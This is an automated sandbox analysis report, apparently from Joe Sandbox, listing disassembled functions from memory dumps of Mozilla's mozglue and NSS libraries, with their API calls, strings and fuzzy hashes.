Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C91DC5D
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C91DC7F

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

Part of subcall function 6C919A60: GetCurrentThreadId.KERNEL32 ref: 6C919A95
Part of subcall function 6C919A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C919A9D
Part of subcall function 6C919A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C919ACC
Part of subcall function 6C919A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C919BA7
Part of subcall function 6C919A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C919BB8
Part of subcall function 6C919A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C919BC9

Part of subcall function 6C91E8B0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C91DCF5), ref: 6C91E92D

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C91DD1B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C91DD44
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C91DD58

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Strings

KpT{/, xrefs: 6C91D33B, 6C91DBC6
[I %d/%d] locked_profiler_save_profile_to_file(%s), xrefs: 6C91DBF2

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentTimefreegetenv$ProcessStampThreadV01@@Value@mozilla@@_getpidmalloc$??1ios_base@std@@?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@___acrt_iob_func__stdio_common_vfprintfmoz_xmalloc
String ID: KpT{/$[I %d/%d] locked_profiler_save_profile_to_file(%s)
API String ID: 3378208378-2836294279
Opcode ID: fc22f81a326ba22bde7f5dc145ebafbca9c2c0495500e3b5a5859ce581d4e46d
Instruction ID: 169bf7d985b9b1d3f347028f2bf4d934e425e54866834f0dd3e8d879831e26da
Opcode Fuzzy Hash: fc22f81a326ba22bde7f5dc145ebafbca9c2c0495500e3b5a5859ce581d4e46d
Instruction Fuzzy Hash: 6581D1756047048FDB24DF29C485AA6B7F5BF99308F50892CC89B87F91DB30E909CB91

Function 6C921220 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C92124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C921268
GetCurrentThreadId.KERNEL32 ref: 6C9212DA
InitializeConditionVariable.KERNEL32(?), ref: 6C92134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C92138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C921431

Part of subcall function 6C918AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C931563), ref: 6C918BD5

free.MOZGLUE(?), ref: 6C92145A
free.MOZGLUE(?), ref: 6C92146C

Strings

KpT{/, xrefs: 6C921238

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: KpT{/
API String ID: 2803333873-2391877073
Opcode ID: 212c2a012725dc003ee1c026879c5ab0bae8225a69b68e95e9ad5ddfd1b98583
Instruction ID: 1d1fc1596837312567301f2f674ebb0d8b0cae652f9a9da5d3f52e6dd289e7b5
Opcode Fuzzy Hash: 212c2a012725dc003ee1c026879c5ab0bae8225a69b68e95e9ad5ddfd1b98583
Instruction Fuzzy Hash: 79612475A143409BCB10CF24C880B9AB7F5FFD6308F14891DE88947712DB35E858CB81

Function 6C920F40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C920F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C920F88
GetCurrentThreadId.KERNEL32 ref: 6C920FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C921067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C92114B

Part of subcall function 6C918AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C931563), ref: 6C918BD5

free.MOZGLUE(?), ref: 6C921174
free.MOZGLUE(?), ref: 6C921186

Strings

KpT{/, xrefs: 6C920F58

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: KpT{/
API String ID: 2803333873-2391877073
Opcode ID: d2097ba44570d59b728a0c077efc3ca151a6ab78ada31cdb2318aea72c474e78
Instruction ID: b1797018ee76cbf9588be95ec83d26e3c0e492c674161bad6506c1970a9d4c16
Opcode Fuzzy Hash: d2097ba44570d59b728a0c077efc3ca151a6ab78ada31cdb2318aea72c474e78
Instruction Fuzzy Hash: 0B61F375A183409BDB10CF24C880B9AB7F5BFE6308F14891DE8C947716EB35E959CB81

Function 6C92D310 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132threadtimeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C92D36B
GetCurrentThreadId.KERNEL32 ref: 6C92D38A
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D39D
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D3E1
free.MOZGLUE ref: 6C92D408

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

GetCurrentThreadId.KERNEL32 ref: 6C92D44B
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D457
ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 6C92D472

Strings

KpT{/, xrefs: 6C92D321

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$Current$AcquireProcessReleaseThread$StampTerminateTimeV01@@Value@mozilla@@free
String ID: KpT{/
API String ID: 3843575911-2391877073
Opcode ID: f2ab643fd95e7e1d4068aa29d794ffd82fb02a7618e50de2cdd7d8904beda3a0
Instruction ID: 443a4c1d02d5606a643470ec9a974bc1cc3ac37b7ba621699f55f39b8cff4e59
Opcode Fuzzy Hash: f2ab643fd95e7e1d4068aa29d794ffd82fb02a7618e50de2cdd7d8904beda3a0
Instruction Fuzzy Hash: 1B41F172608305CFCB10DF65C488AAEBBB5FF85318F20492DE99687B40DB35E948CB91

Function 6C920000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C920039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C920041
GetCurrentThreadId.KERNEL32 ref: 6C920075
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C920082
moz_xmalloc.MOZGLUE(00000048), ref: 6C920090
free.MOZGLUE(?), ref: 6C920104
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C92011B

Strings

KpT{/, xrefs: 6C920012
[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C92005B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: KpT{/$[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-797345856
Opcode ID: a9889eb5dc66a7b2bcfbd5ad0c58fee29852124e0daf7cf52f13033ee64a8319
Instruction ID: dc476ad6dd91948d4528e76f734970f148c7afe66c5025e12fc1f479f6f2a2a8
Opcode Fuzzy Hash: a9889eb5dc66a7b2bcfbd5ad0c58fee29852124e0daf7cf52f13033ee64a8319
Instruction Fuzzy Hash: 3B418AB1A04344DFCB10CF68C844A9ABBF1FF59328F90492DE99A93B40D731E919CB91

Function 6C8E7E90 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8E7EA7
malloc.MOZGLUE(00000001), ref: 6C8E7EB3

Part of subcall function 6C8ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C8ECB49
Part of subcall function 6C8ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C8ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C8E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C8E7F19
malloc.MOZGLUE(?), ref: 6C8E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8E7F4D

Strings

KpT{/, xrefs: 6C8E7E9C, 6C8E7F2B
d, xrefs: 6C8E7F89

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: KpT{/$d
API String ID: 204725295-701102224
Opcode ID: 47e91c9bba27bcbac1a182f4da652316f63e25282523b5f144cd9acbd7763cd5
Instruction ID: fc7964357005cb0d88c9bd88c525bdf674ec4d9b0672257839378771d705f04c
Opcode Fuzzy Hash: 47e91c9bba27bcbac1a182f4da652316f63e25282523b5f144cd9acbd7763cd5
Instruction Fuzzy Hash: 8631F862E043889BDB009B78CD045FEB778EFA6208F559629ED4957712FB31E588C390

Function 6CA0FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CA0FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CA0FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CA0FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA0FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CA0FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CA0FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CA0FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA0FD84

Strings

:, xrefs: 6CA0FD78

Memory Dump Source

Source File: 00000007.00000002.2669272651.000000006C971000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000007.00000002.2669234540.000000006C970000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671162429.000000006CB4E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671225100.000000006CB4F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671335343.000000006CB50000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671375970.000000006CB55000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c970000_eb98fe5174.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: d06e96f31f5651de2cb3c8c57ba8e6b0803775daf6a8f85b41643096cd16af3a
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: A331E0B2F002559BEB008AA4EC017AFB7A8AF5439CF190128DC14B7B00E771E998C7D6

Function 6C94B540 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C94B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C94B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C94B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C94B5F4
__Init_thread_footer.LIBCMT ref: 6C94B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C94B61F
std::_Facet_Register.LIBCPMT ref: 6C94B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94B655

Strings

KpT{/, xrefs: 6C94B54B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID: KpT{/
API String ID: 1276798925-2391877073
Opcode ID: 2eff598f6306ad2b41a9e4b8ce7663936517d6d179307d7ce9abb847726873a6
Instruction ID: 8432c42079981382dda7f3f8a2ab9d4f3fc1049e6c3bf76537fd3fdc4a116dc2
Opcode Fuzzy Hash: 2eff598f6306ad2b41a9e4b8ce7663936517d6d179307d7ce9abb847726873a6
Instruction Fuzzy Hash: 6E319372B04204CBCF00EF69C8989AEB7B5FF9A324B644519D90697780DB31E91ACF91

Function 6CA14CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA1AB7F,?,00000000,?), ref: 6CA14CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CA1AB7F,?,00000000,?), ref: 6CA14CC8
TlsGetValue.KERNEL32(?,6CA1AB7F,?,00000000,?), ref: 6CA14CE0
EnterCriticalSection.KERNEL32(?,?,6CA1AB7F,?,00000000,?), ref: 6CA14CF4
PL_HashTableLookup.NSS3(?,?,?,6CA1AB7F,?,00000000,?), ref: 6CA14D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CA14D10

Part of subcall function 6CA9DD70: TlsGetValue.KERNEL32 ref: 6CA9DD8C
Part of subcall function 6CA9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA9DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CA14D26

Part of subcall function 6CAB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CB00A27), ref: 6CAB9DC6
Part of subcall function 6CAB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CB00A27), ref: 6CAB9DD1
Part of subcall function 6CAB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CAB9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CA14D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CA14DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CA14E02

Memory Dump Source

Source File: 00000007.00000002.2669272651.000000006C971000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000007.00000002.2669234540.000000006C970000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671162429.000000006CB4E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671225100.000000006CB4F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671335343.000000006CB50000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671375970.000000006CB55000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c970000_eb98fe5174.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: baf3c7fd8a7d5330d71117694f8fdb4ea86396c772e96f6533fcd33a22766278
Instruction ID: a918e592906263751ee913f02b813dcbb812531d7a7e08649f630d42ca88a893
Opcode Fuzzy Hash: baf3c7fd8a7d5330d71117694f8fdb4ea86396c772e96f6533fcd33a22766278
Instruction Fuzzy Hash: 984194B5A042059BEB01AF78ED44A5677B8BF1535DF084170EC0887B12EB31D9A8C7D2

Function 6C8DBAE0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C8DBC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C8DBD06

Strings

KpT{/, xrefs: 6C8DBAF4
0, xrefs: 6C8DBBCD
y, xrefs: 6C8DBC4E
0, xrefs: 6C8DBC74

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$KpT{/$y
API String ID: 2811501404-2180365843
Opcode ID: eb9aaa1c655e3b40e380a6e128a0abaa9ba3e275c00c52f3e10302bab8515615
Instruction ID: 1b9e227a829dc5a4c05afae153bbf36d4dd13a708394405ffd7209be34775107
Opcode Fuzzy Hash: eb9aaa1c655e3b40e380a6e128a0abaa9ba3e275c00c52f3e10302bab8515615
Instruction Fuzzy Hash: 3061C371A083459FC724CF38D580A6BB7E5FF8A358F024A2DF88597751DB30E9498782

Function 6C8DECD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8DF100: LoadLibraryW.KERNEL32(shell32,?,6C94D020), ref: 6C8DF122
Part of subcall function 6C8DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C8DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C8DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C8DEDCC
CreateFileW.KERNEL32 ref: 6C8DEE08
free.MOZGLUE(00000000), ref: 6C8DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C8DEE32

Part of subcall function 6C8DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C8DEBB5
Part of subcall function 6C8DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C90D7F3), ref: 6C8DEBC3
Part of subcall function 6C8DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C90D7F3), ref: 6C8DEBD6

Strings

KpT{/, xrefs: 6C8DECDC
\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C8DEDC1

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: KpT{/$\Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-1178236086
Opcode ID: a5075e75ec8ed8917f814c1154610cb632597de935d0a42b03d5dc2b52dc787f
Instruction ID: 0444cf253ea2127243d9382981227fdc001cb1fd008f2c1bbb21d1cb5a26c767
Opcode Fuzzy Hash: a5075e75ec8ed8917f814c1154610cb632597de935d0a42b03d5dc2b52dc787f
Instruction Fuzzy Hash: D451E471D053098BDB20DF68CA806EEF7B1AF59318F45882DE85567740EB30B948C7E2

Function 6C94A520 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C94A565

Part of subcall function 6C94A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C94A4BE
Part of subcall function 6C94A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C94A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C94A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C94A6B6

Strings

KpT{/, xrefs: 6C94A539
z, xrefs: 6C94A6AE
0, xrefs: 6C94A5FB

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$KpT{/$z
API String ID: 310210123-4222526045
Opcode ID: 141559d904d2652b16f085e74c908ef0051441ea9c96de183b04c555a451af06
Instruction ID: 90aa8046629b32f795d990483c220d730ecd2bd00094bcb6e3a083ad0a9f54cd
Opcode Fuzzy Hash: 141559d904d2652b16f085e74c908ef0051441ea9c96de183b04c555a451af06
Instruction Fuzzy Hash: 1D413771A097459FC341DF28C080A9FBBE5BFC9354F508A2EF49987650EB30E649CB82

Function 6C921D00 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C921D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C921BE3,?,?,6C921D96,00000000), ref: 6C921D18
